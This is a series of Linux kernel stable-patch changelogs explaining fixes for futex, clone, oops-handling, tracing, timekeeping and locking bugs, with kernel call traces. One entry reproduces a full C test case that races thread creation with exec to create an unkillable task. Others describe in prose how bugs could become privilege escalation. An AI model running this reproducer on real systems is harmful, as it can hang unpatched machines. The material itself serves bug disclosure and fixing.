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commit 33dd94ae1ccbfb7bf0fb6c692bc3d1c4269e6177 upstream.
If a user manages to trigger an oops with fs set to KERNEL_DS, fs is not
otherwise reset before do_exit(). do_exit may later (via mm_release in
fork.c) do a put_user to a user-controlled address, potentially allowing
a user to leverage an oops into a controlled write into kernel memory.
This is only triggerable in the presence of another bug, but this
potentially turns a lot of DoS bugs into privilege escalations, so it's
worth fixing. I have proof-of-concept code which uses this bug along
with CVE-2010-3849 to write a zero to an arbitrary kernel address, so
I've tested that this is not theoretical.
A more logical place to put this fix might be when we know an oops has
occurred, before we call do_exit(), but that would involve changing
every architecture, in multiple places.
Let's just stick it in do_exit instead.
[akpm@linux-foundation.org: update code comment]
Signed-off-by: Nelson Elhage <nelhage@ksplice.com>
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 7740191cd909b75d75685fb08a5d1f54b8a9d28b upstream.
Fix incorrect handling of the following case:
INTERACTIVE
INTERACTIVE_SOMETHING_ELSE
The comparison only checks up to each element's length.
Changelog since v1:
- Embellish using some Rostedtisms.
[ mingo: ^^ == smaller and cleaner ]
Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Reviewed-by: Steven Rostedt <rostedt@goodmis.org>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Tony Lindgren <tony@atomide.com>
LKML-Reference: <20100913214700.GB16118@Krystal>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit c41d68a513c71e35a14f66d71782d27a79a81ea6 upstream.
compat_alloc_user_space() expects the caller to independently call
access_ok() to verify the returned area. A missing call could
introduce problems on some architectures.
This patch incorporates the access_ok() check into
compat_alloc_user_space() and also adds a sanity check on the length.
The existing compat_alloc_user_space() implementations are renamed
arch_compat_alloc_user_space() and are used as part of the
implementation of the new global function.
This patch assumes NULL will cause __get_user()/__put_user() to either
fail or access userspace on all architectures. This should be
followed by checking the return value of compat_access_user_space()
for NULL in the callers, at which time the access_ok() in the callers
can also be removed.
Reported-by: Ben Hawkes <hawkes@sota.gen.nz>
Signed-off-by: H. Peter Anvin <hpa@linux.intel.com>
Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Acked-by: Chris Metcalf <cmetcalf@tilera.com>
Acked-by: David S. Miller <davem@davemloft.net>
Acked-by: Ingo Molnar <mingo@elte.hu>
Acked-by: Thomas Gleixner <tglx@linutronix.de>
Acked-by: Tony Luck <tony.luck@intel.com>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Helge Deller <deller@gmx.de>
Cc: James Bottomley <jejb@parisc-linux.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 9c55cb12c1c172e2d51e85fbb5a4796ca86b77e7 upstream.
Reading the file set_ftrace_filter does three things.
1) shows whether or not filters are set for the function tracer
2) shows what functions are set for the function tracer
3) shows what triggers are set on any functions
3 is independent from 1 and 2.
The way this file currently works is that it is a state machine,
and as you read it, it may change state. But this assumption breaks
when you use lseek() on the file. The state machine gets out of sync
and the t_show() may use the wrong pointer and cause a kernel oops.
Luckily, this will only kill the app that does the lseek, but the app
dies while holding a mutex. This prevents anyone else from using the
set_ftrace_filter file (or any other function tracing file for that matter).
A real fix for this is to rewrite the code, but that is too much for
a -rc release or stable. This patch simply disables llseek on the
set_ftrace_filter() file for now, and we can do the proper fix for the
next major release.
Reported-by: Robert Swiecki <swiecki@google.com>
Cc: Chris Wright <chrisw@sous-sol.org>
Cc: Tavis Ormandy <taviso@google.com>
Cc: Eugene Teo <eugene@redhat.com>
Cc: vendor-sec@lst.de
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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This is a merge of two mainline commits, intended
for stable@kernel.org submission for 2.6.27 kernel.
commit f833bab87fca5c3ce13778421b1365845843b976
and
commit 918aae42aa9b611a3663b16ae849fdedc67c2292
Changelog of both:
Currently clockevents_notify() is called with interrupts enabled at
some places and interrupts disabled at some other places.
This results in a deadlock in this scenario.
cpu A holds clockevents_lock in clockevents_notify() with irqs enabled
cpu B waits for clockevents_lock in clockevents_notify() with irqs disabled
cpu C doing set_mtrr() which will try to rendezvous of all the cpus.
This will result in C and A come to the rendezvous point and waiting
for B. B is stuck forever waiting for the spinlock and thus not
reaching the rendezvous point.
Fix the clockevents code so that clockevents_lock is taken with
interrupts disabled and thus avoid the above deadlock.
Also call lapic_timer_propagate_broadcast() on the destination cpu so
that we avoid calling smp_call_function() in the clockevents notifier
chain.
This issue left us wondering if we need to change the MTRR rendezvous
logic to use stop machine logic (instead of smp_call_function) or add
a check in spinlock debug code to see if there are other spinlocks
which gets taken under both interrupts enabled/disabled conditions.
Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: "Brown Len" <len.brown@intel.com>
Cc: stable@kernel.org
LKML-Reference: <1250544899.2709.210.camel@sbs-t61.sc.intel.com>
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
I got following warning on ia64 box:
In function 'acpi_processor_power_verify':
642: warning: passing argument 2 of 'smp_call_function_single' from
incompatible pointer type
This smp_call_function_single() was introduced by a commit
f833bab87fca5c3ce13778421b1365845843b976:
The problem is that the lapic_timer_propagate_broadcast() has 2 versions:
One is real code that modified in the above commit, and the other is NOP
code that used when !ARCH_APICTIMER_STOPS_ON_C3:
static void lapic_timer_propagate_broadcast(struct acpi_processor *pr) { }
So I got warning because of !ARCH_APICTIMER_STOPS_ON_C3.
We really want to do nothing here on !ARCH_APICTIMER_STOPS_ON_C3, so
modify lapic_timer_propagate_broadcast() of real version to use
smp_call_function_single() in it.
Signed-off-by: Hidetoshi Seto <seto.hidetoshi@jp.fujitsu.com>
Acked-by: Suresh Siddha <suresh.b.siddha@intel.com>
Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Thomas Renninger <trenn@suse.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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trace_free_page()
[No matching upstream git commit id as it was fixed differently due to a
rewrite of the tracing code there.]
For normal case, the code in trace_free_page() do once more substraction
on tracing_pages_allocated, but for CONFIG_TRACER_MAX_TRACE it doesn't
take the freed page into account. That's not consistent with
trace_alloc_page(). Well, for there are no message related with this,
so we cannot observe its incorrect state when the kernel doesn't define
"CONFIG_TRACER_MAX_TRACE". If you add some pr_info() as
trace_alloc_page(), you may notice it.
Cc: Steven Rostedt <rostedt@goodmis.org>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: Li Zefan <lizf@cn.fujitsu.com>
Signed-off-by: Wang Sheng-Hui <crosslonelyover@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 15afe09bf496ae10c989e1a375a6b5da7bd3e16e upstream.
Lin Ming reported a 10% OLTP regression against 2.6.27-rc4.
The difference seems to come from different preemption agressiveness,
which affects the cache footprint of the workload and its effective
cache trashing.
Aggresively preempt a task if its avg overlap is very small, this should
avoid the task going to sleep and find it still running when we schedule
back to it - saving a wakeup.
Reported-by: Lin Ming <ming.m.lin@intel.com>
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit fa33507a22623b3bd543b15a21c362cf364b6cff upstream.
Dmitry Adamushko reported:
> [*] btw., with DEBUG being enabled, pr_debug() generates [1] when
> debug_smp_processor_id() is used (CONFIG_DEBUG_PREEMPT).
>
> the problem seems to be caused by the following commit:
> commit b845b517b5e3706a3729f6ea83b88ab85f0725b0
> Author: Peter Zijlstra <a.p.zijlstra@chello.nl>
> Date: Fri Aug 8 21:47:09 2008 +0200
>
> printk: robustify printk
>
>
> wake_up_klogd() -> __get_cpu_var() -> smp_processor_id()
>
> and that's being called from release_console_sem() which is, in turn,
> said to be "may be called from any context" [2]
>
> and in this case, it seems to be called from some non-preemptible
> context (although, it can't be printk()...
> although, I haven't looked carefully yet).
>
> Provided [2], __get_cpu_var() is perhaps not the right solution there.
>
>
> [1]
>
> [ 7697.942005] BUG: using smp_processor_id() in preemptible [00000000] code: syslogd/3542
> [ 7697.942005] caller is wake_up_klogd+0x1b/0x50
> [ 7697.942005] Pid: 3542, comm: syslogd Not tainted 2.6.27-rc3-tip-git #2
> [ 7697.942005] Call Trace:
> [ 7697.942005] [<ffffffff8036b398>] debug_smp_processor_id+0xe8/0xf0
> [ 7697.942005] [<ffffffff80239d3b>] wake_up_klogd+0x1b/0x50
> [ 7697.942005] [<ffffffff8023a047>] release_console_sem+0x1e7/0x200
> [ 7697.942005] [<ffffffff803c0f17>] do_con_write+0xb7/0x1f30
> [ 7697.942005] [<ffffffff8020d920>] ? show_trace+0x10/0x20
> [ 7697.942005] [<ffffffff8020dc42>] ? dump_stack+0x72/0x80
> [ 7697.942005] [<ffffffff8036392d>] ? __ratelimit+0xbd/0xe0
> [ 7697.942005] [<ffffffff8036b398>] ? debug_smp_processor_id+0xe8/0xf0
> [ 7697.942005] [<ffffffff80239d3b>] ? wake_up_klogd+0x1b/0x50
> [ 7697.942005] [<ffffffff8023a047>] ? release_console_sem+0x1e7/0x200
> [ 7697.942005] [<ffffffff803c2de9>] con_write+0x19/0x30
> [ 7697.942005] [<ffffffff803b37b6>] write_chan+0x276/0x3c0
> [ 7697.942005] [<ffffffff80232b20>] ? default_wake_function+0x0/0x10
> [ 7697.942005] [<ffffffff804cb872>] ? _spin_lock_irqsave+0x22/0x50
> [ 7697.942005] [<ffffffff803b1334>] tty_write+0x194/0x260
> [ 7697.942005] [<ffffffff803b3540>] ? write_chan+0x0/0x3c0
> [ 7697.942005] [<ffffffff803b14a4>] redirected_tty_write+0xa4/0xb0
> [ 7697.942005] [<ffffffff803b1400>] ? redirected_tty_write+0x0/0xb0
> [ 7697.942005] [<ffffffff802a88c2>] do_loop_readv_writev+0x52/0x80
> [ 7697.942005] [<ffffffff802a939d>] do_readv_writev+0x1bd/0x1d0
> [ 7697.942005] [<ffffffff802a93e9>] vfs_writev+0x39/0x60
> [ 7697.942005] [<ffffffff802a9870>] sys_writev+0x50/0x90
> [ 7697.942005] [<ffffffff8020bb3b>] system_call_fastpath+0x16/0x1b
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Reported-by: Dmitry Adamushko <dmitry.adamushko@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 51246bfd189064079c54421507236fd2723b18f3 upstream.
If the owner of a PI futex dies we fix up the pi_state and set
pi_state->owner to NULL. When a malicious or just sloppy programmed
user space application sets the futex value to 0 e.g. by calling
pthread_mutex_init(), then the futex can be acquired again. A new
waiter manages to enqueue itself on the pi_state w/o damage, but on
unlock the kernel dereferences pi_state->owner and oopses.
Prevent this by checking pi_state->owner in the unlock path. If
pi_state->owner is not current we know that user space manipulated the
futex value. Ignore the mess and return -EINVAL.
This catches the above case and also the case where a task hijacks the
futex by setting the tid value and then tries to unlock it.
Reported-by: Jermome Marchand <jmarchan@redhat.com>
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Acked-by: Darren Hart <dvhltc@us.ibm.com>
Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 59647b6ac3050dd964bc556fe6ef22f4db5b935c upstream.
The WARN_ON in lookup_pi_state which complains about a mismatch
between pi_state->owner->pid and the pid which we retrieved from the
user space futex is completely bogus.
The code just emits the warning and then continues despite the fact
that it detected an inconsistent state of the futex. A conveniant way
for user space to spam the syslog.
Replace the WARN_ON by a consistency check. If the values do not match
return -EINVAL and let user space deal with the mess it created.
This also fixes the missing task_pid_vnr() when we compare the
pi_state->owner pid with the futex value.
Reported-by: Jermome Marchand <jmarchan@redhat.com>
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Acked-by: Darren Hart <dvhltc@us.ibm.com>
Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit b4c30aad39805902cf5b855aa8a8b22d728ad057 upstream.
Several leaks in audit_tree didn't get caught by commit
318b6d3d7ddbcad3d6867e630711b8a705d873d7, including the leak on normal
exit in case of multiple rules refering to the same chunk.
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 6f5d51148921c242680a7a1d9913384a30ab3cbe upstream.
... aka "Al had badly fscked up when writing that thing and nobody
noticed until Eric had fixed leaks that used to mask the breakage".
The function essentially creates a copy of old array sans one element
and replaces the references to elements of original (they are on cyclic
lists) with those to corresponding elements of new one. After that the
old one is fair game for freeing.
First of all, there's a dumb braino: when we get to list_replace_init we
use indices for wrong arrays - position in new one with the old array
and vice versa.
Another bug is more subtle - termination condition is wrong if the
element to be excluded happens to be the last one. We shouldn't go
until we fill the new array, we should go until we'd finished the old
one. Otherwise the element we are trying to kill will remain on the
cyclic lists...
That crap used to be masked by several leaks, so it was not quite
trivial to hit. Eric had fixed some of those leaks a while ago and the
shit had hit the fan...
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit b45c6e76bc2c72f6426c14bed64fdcbc9bf37cb0 upstream.
When print-fatal-signals is enabled it's possible to dump any memory
reachable by the kernel to the log by simply jumping to that address from
user space.
Or crash the system if there's some hardware with read side effects.
The fatal signals handler will dump 16 bytes at the execution address,
which is fully controlled by ring 3.
In addition when something jumps to a unmapped address there will be up to
16 additional useless page faults, which might be potentially slow (and at
least is not very efficient)
Fortunately this option is off by default and only there on i386.
But fix it by checking for kernel addresses and also stopping when there's
a page fault.
Signed-off-by: Andi Kleen <ak@linux.intel.com>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Oleg Nesterov <oleg@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit b845b517b5e3706a3729f6ea83b88ab85f0725b0 upstream.
Avoid deadlocks against rq->lock and xtime_lock by deferring the klogd
wakeup by polling from the timer tick.
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 6c9bacb41c10ba84ff68f238e234d96f35fb64f7 upstream.
Impact: fix time warp bug
Alex Shi, along with Yanmin Zhang have been noticing occasional time
inconsistencies recently. Through their great diagnosis, they found that
the xtime_nsec value used in update_wall_time was occasionally going
negative. After looking through the code for awhile, I realized we have
the possibility for an underflow when three conditions are met in
update_wall_time():
1) We have accumulated a second's worth of nanoseconds, so we
incremented xtime.tv_sec and appropriately decrement xtime_nsec.
(This doesn't cause xtime_nsec to go negative, but it can cause it
to be small).
2) The remaining offset value is large, but just slightly less then
cycle_interval.
3) clocksource_adjust() is speeding up the clock, causing a
corrective amount (compensating for the increase in the multiplier
being multiplied against the unaccumulated offset value) to be
subtracted from xtime_nsec.
This can cause xtime_nsec to underflow.
Unfortunately, since we notify the NTP subsystem via second_overflow()
whenever we accumulate a full second, and this effects the error
accumulation that has already occured, we cannot simply revert the
accumulated second from xtime nor move the second accumulation to after
the clocksource_adjust call without a change in behavior.
This leaves us with (at least) two options:
1) Simply return from clocksource_adjust() without making a change if we
notice the adjustment would cause xtime_nsec to go negative.
This would work, but I'm concerned that if a large adjustment was needed
(due to the error being large), it may be possible to get stuck with an
ever increasing error that becomes too large to correct (since it may
always force xtime_nsec negative). This may just be paranoia on my part.
2) Catch xtime_nsec if it is negative, then add back the amount its
negative to both xtime_nsec and the error.
This second method is consistent with how we've handled earlier rounding
issues, and also has the benefit that the error being added is always in
the oposite direction also always equal or smaller then the correction
being applied. So the risk of a corner case where things get out of
control is lessened.
This patch fixes bug 11970, as tested by Yanmin Zhang
http://bugzilla.kernel.org/show_bug.cgi?id=11970
Reported-by: alex.shi@intel.com
Signed-off-by: John Stultz <johnstul@us.ibm.com>
Acked-by: Yanmin Zhang <yanmin_zhang@linux.intel.com>
Tested-by: Yanmin Zhang <yanmin_zhang@linux.intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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The bug should be "accidently" fixed by recent changes in 2.6.31,
all kernels <= 2.6.30 need the fix. The problem was never noticed before,
it was found because it causes mysterious failures with GFS mount/umount.
Credits to Robert Peterson. He blaimed kthread.c from the very beginning.
But, despite my promise, I forgot to inspect the old implementation until
he did a lot of testing and reminded me. This led to huge delay in fixing
this bug.
kthread_stop() does put_task_struct(k) before it clears kthread_stop_info.k.
This means another kthread_create() can re-use this task_struct, but the
new kthread can still see kthread_should_stop() == T and exit even without
calling threadfn().
Reported-by: Robert Peterson <rpeterso@redhat.com>
Tested-by: Robert Peterson <rpeterso@redhat.com>
Signed-off-by: Oleg Nesterov <oleg@redhat.com>
Acked-by: Rusty Russell <rusty@rustcorp.com.au>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 0083fc2c50e6c5127c2802ad323adf8143ab7856 upstream.
Ulrich Drepper correctly points out that there is generally padding in
the structure on 64-bit hosts, and that copying the structure from
kernel to user space can leak information from the kernel stack in those
padding bytes.
Avoid the whole issue by just copying the three members one by one
instead, which also means that the function also can avoid the need for
a stack frame. This also happens to match how we copy the new structure
from user space, so it all even makes sense.
[ The obvious solution of adding a memset() generates horrid code, gcc
does really stupid things. ]
Reported-by: Ulrich Drepper <drepper@redhat.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 4ab6c08336535f8c8e42cf45d7adeda882eff06e upstream.
Spotted by Hiroshi Shimamoto who also provided the test-case below.
copy_process() uses signal->count as a reference counter, but it is not.
This test case
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <pthread.h>
void *null_thread(void *p)
{
for (;;)
sleep(1);
return NULL;
}
void *exec_thread(void *p)
{
execl("/bin/true", "/bin/true", NULL);
return null_thread(p);
}
int main(int argc, char **argv)
{
for (;;) {
pid_t pid;
int ret, status;
pid = fork();
if (pid < 0)
break;
if (!pid) {
pthread_t tid;
pthread_create(&tid, NULL, exec_thread, NULL);
for (;;)
pthread_create(&tid, NULL, null_thread, NULL);
}
do {
ret = waitpid(pid, &status, 0);
} while (ret == -1 && errno == EINTR);
}
return 0;
}
quickly creates an unkillable task.
If copy_process(CLONE_THREAD) races with de_thread()
copy_signal()->atomic(signal->count) breaks the signal->notify_count
logic, and the execing thread can hang forever in kernel space.
Change copy_process() to increment count/live only when we know for sure
we can't fail. In this case the forked thread will take care of its
reference to signal correctly.
If copy_process() fails, check CLONE_THREAD flag. If it it set - do
nothing, the counters were not changed and current belongs to the same
thread group. If it is not set, ->signal must be released in any case
(and ->count must be == 1), the forked child is the only thread in the
thread group.
We need more cleanups here, in particular signal->count should not be used
by de_thread/__exit_signal at all. This patch only fixes the bug.
Reported-by: Hiroshi Shimamoto <h-shimamoto@ct.jp.nec.com>
Tested-by: Hiroshi Shimamoto <h-shimamoto@ct.jp.nec.com>
Signed-off-by: Oleg Nesterov <oleg@redhat.com>
Acked-by: Roland McGrath <roland@redhat.com>
Cc: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 9c8a8228d0827e0d91d28527209988f672f97d28 upstream.
While looking at Jens Rosenboom bug report
(http://lkml.org/lkml/2009/7/27/35) about strange sys_futex call done from
a dying "ps" program, we found following problem.
clone() syscall has special support for TID of created threads. This
support includes two features.
One (CLONE_CHILD_SETTID) is to set an integer into user memory with the
TID value.
One (CLONE_CHILD_CLEARTID) is to clear this same integer once the created
thread dies.
The integer location is a user provided pointer, provided at clone()
time.
kernel keeps this pointer value into current->clear_child_tid.
At execve() time, we should make sure kernel doesnt keep this user
provided pointer, as full user memory is replaced by a new one.
As glibc fork() actually uses clone() syscall with CLONE_CHILD_SETTID and
CLONE_CHILD_CLEARTID set, chances are high that we might corrupt user
memory in forked processes.
Following sequence could happen:
1) bash (or any program) starts a new process, by a fork() call that
glibc maps to a clone( ... CLONE_CHILD_SETTID | CLONE_CHILD_CLEARTID
...) syscall
2) When new process starts, its current->clear_child_tid is set to a
location that has a meaning only in bash (or initial program) context
(&THREAD_SELF->tid)
3) This new process does the execve() syscall to start a new program.
current->clear_child_tid is left unchanged (a non NULL value)
4) If this new program creates some threads, and initial thread exits,
kernel will attempt to clear the integer pointed by
current->clear_child_tid from mm_release() :
if (tsk->clear_child_tid
&& !(tsk->flags & PF_SIGNALED)
&& atomic_read(&mm->mm_users) > 1) {
u32 __user * tidptr = tsk->clear_child_tid;
tsk->clear_child_tid = NULL;
/*
* We don't check the error code - if userspace has
* not set up a proper pointer then tough luck.
*/
<< here >> put_user(0, tidptr);
sys_futex(tidptr, FUTEX_WAKE, 1, NULL, NULL, 0);
}
5) OR : if new program is not multi-threaded, but spied by /proc/pid
users (ps command for example), mm_users > 1, and the exiting program
could corrupt 4 bytes in a persistent memory area (shm or memory mapped
file)
If current->clear_child_tid points to a writeable portion of memory of the
new program, kernel happily and silently corrupts 4 bytes of memory, with
unexpected effects.
Fix is straightforward and should not break any sane program.
Reported-by: Jens Rosenboom <jens@mcbone.net>
Acked-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: Oleg Nesterov <oleg@redhat.com>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Sonny Rao <sonnyrao@us.ibm.com>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ulrich Drepper <drepper@redhat.com>
Cc: Oleg Nesterov <oleg@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 8bc1ad7dd301b7ca7454013519fa92e8c53655ff upstream.
When the 32-bit signed quantities get assigned to the u64 resource_size_t,
they are incorrectly sign-extended.
Addresses http://bugzilla.kernel.org/show_bug.cgi?id=13253
Addresses http://bugzilla.kernel.org/show_bug.cgi?id=9905
Signed-off-by: Zhang Rui <rui.zhang@intel.com>
Reported-by: Leann Ogasawara <leann@ubuntu.com>
Cc: Pierre Ossman <drzeus@drzeus.cx>
Reported-by: <pablomme@googlemail.com>
Tested-by: <pablomme@googlemail.com>
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit e0a94c2a63f2644826069044649669b5e7ca75d3 upstream.
This patch removes the dependency of mmap_min_addr on CONFIG_SECURITY.
It also sets a default mmap_min_addr of 4096.
mmapping of addresses below 4096 will only be possible for processes
with CAP_SYS_RAWIO.
Signed-off-by: Christoph Lameter <cl@linux-foundation.org>
Acked-by: Eric Paris <eparis@redhat.com>
Looks-ok-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: James Morris <jmorris@namei.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit df279ca8966c3de83105428e3391ab17690802a9 upstream.
The file opened in acct_on and freshly stored in the ns->bacct struct can
be closed in acct_file_reopen by a concurrent call after we release
acct_lock and before we call mntput(file->f_path.mnt).
Record file->f_path.mnt in a local variable and use this variable only.
Signed-off-by: Renaud Lottiaux <renaud.lottiaux@kerlabs.com>
Signed-off-by: Louis Rilling <louis.rilling@kerlabs.com>
Cc: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 74a03b69d1b5ce00a568e142ca97e76b7f5239c6 upstream.
tick_handle_periodic() can lock up hard when a one shot clock event
device is used in combination with jiffies clocksource.
Avoid an endless loop issue by requiring that a highres valid
clocksource be installed before we call tick_periodic() in a loop when
using ONESHOT mode. The result is we will only increment jiffies once
per interrupt until a continuous hardware clocksource is available.
Without this, we can run into a endless loop, where each cycle through
the loop, jiffies is updated which increments time by tick_period or
more (due to clock steering), which can cause the event programming to
think the next event was before the newly incremented time and fail
causing tick_periodic() to be called again and the whole process loops
forever.
[ Impact: prevent hard lock up ]
Signed-off-by: John Stultz <johnstul@us.ibm.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: stable@kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 53da1d9456fe7f87a920a78fdbdcf1225d197cb7 upstream.
This patch fixes bug #12208:
Bug-Entry : http://bugzilla.kernel.org/show_bug.cgi?id=12208
Subject : uml is very slow on 2.6.28 host
This turned out to be not a scheduler regression, but an already
existing problem in ptrace being triggered by subtle scheduler
changes.
The problem is this:
- task A is ptracing task B
- task B stops on a trace event
- task A is woken up and preempts task B
- task A calls ptrace on task B, which does ptrace_check_attach()
- this calls wait_task_inactive(), which sees that task B is still on the runq
- task A goes to sleep for a jiffy
- ...
Since UML does lots of the above sequences, those jiffies quickly add
up to make it slow as hell.
This patch solves this by not rescheduling in read_unlock() after
ptrace_stop() has woken up the tracer.
Thanks to Oleg Nesterov and Ingo Molnar for the feedback.
Signed-off-by: Miklos Szeredi <mszeredi@suse.cz>
CC: stable@kernel.org
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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CVE-2009-1337
commit 432870dab85a2f69dc417022646cb9a70acf7f94 upstream.
The CAP_KILL check in exit_notify() looks just wrong, kill it.
Whatever logic we have to reset ->exit_signal, the malicious user
can bypass it if it execs the setuid application before exiting.
Signed-off-by: Oleg Nesterov <oleg@redhat.com>
Acked-by: Serge Hallyn <serue@us.ibm.com>
Acked-by: Roland McGrath <roland@redhat.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit f02b8624fedca39886b0eef770dca70c2f0749b3 upstream.
Fix locking imbalance in kretprobes:
=====================================
[ BUG: bad unlock balance detected! ]
-------------------------------------
kthreadd/2 is trying to release lock (&rp->lock) at:
[<c06b3080>] pre_handler_kretprobe+0xea/0xf4
but there are no more locks to release!
other info that might help us debug this:
1 lock held by kthreadd/2:
#0: (rcu_read_lock){..--}, at: [<c06b2b24>] __atomic_notifier_call_chain+0x0/0x5a
stack backtrace:
Pid: 2, comm: kthreadd Not tainted 2.6.29-rc8 #1
Call Trace:
[<c06ae498>] ? printk+0xf/0x17
[<c06b3080>] ? pre_handler_kretprobe+0xea/0xf4
[<c044ce6c>] print_unlock_inbalance_bug+0xc3/0xce
[<c0444d4b>] ? clocksource_read+0x7/0xa
[<c04450a4>] ? getnstimeofday+0x5f/0xf6
[<c044a9ca>] ? register_lock_class+0x17/0x293
[<c044b72c>] ? mark_lock+0x1e/0x30b
[<c0448956>] ? tick_dev_program_event+0x4a/0xbc
[<c0498100>] ? __slab_alloc+0xa5/0x415
[<c06b2fbe>] ? pre_handler_kretprobe+0x28/0xf4
[<c06b3080>] ? pre_handler_kretprobe+0xea/0xf4
[<c044cf1b>] lock_release_non_nested+0xa4/0x1a5
[<c06b3080>] ? pre_handler_kretprobe+0xea/0xf4
[<c044d15d>] lock_release+0x141/0x166
[<c06b07dd>] _spin_unlock_irqrestore+0x19/0x50
[<c06b3080>] pre_handler_kretprobe+0xea/0xf4
[<c06b20b5>] kprobe_exceptions_notify+0x1c9/0x43e
[<c06b2b02>] notifier_call_chain+0x26/0x48
[<c06b2b5b>] __atomic_notifier_call_chain+0x37/0x5a
[<c06b2b24>] ? __atomic_notifier_call_chain+0x0/0x5a
[<c06b2b8a>] atomic_notifier_call_chain+0xc/0xe
[<c0442d0d>] notify_die+0x2d/0x2f
[<c06b0f9c>] do_int3+0x1f/0x71
[<c06b0e84>] int3+0x2c/0x34
[<c042d476>] ? do_fork+0x1/0x288
[<c040221b>] ? kernel_thread+0x71/0x79
[<c043ed1b>] ? kthread+0x0/0x60
[<c043ed1b>] ? kthread+0x0/0x60
[<c04040b8>] ? kernel_thread_helper+0x0/0x10
[<c043ec7f>] kthreadd+0xac/0x148
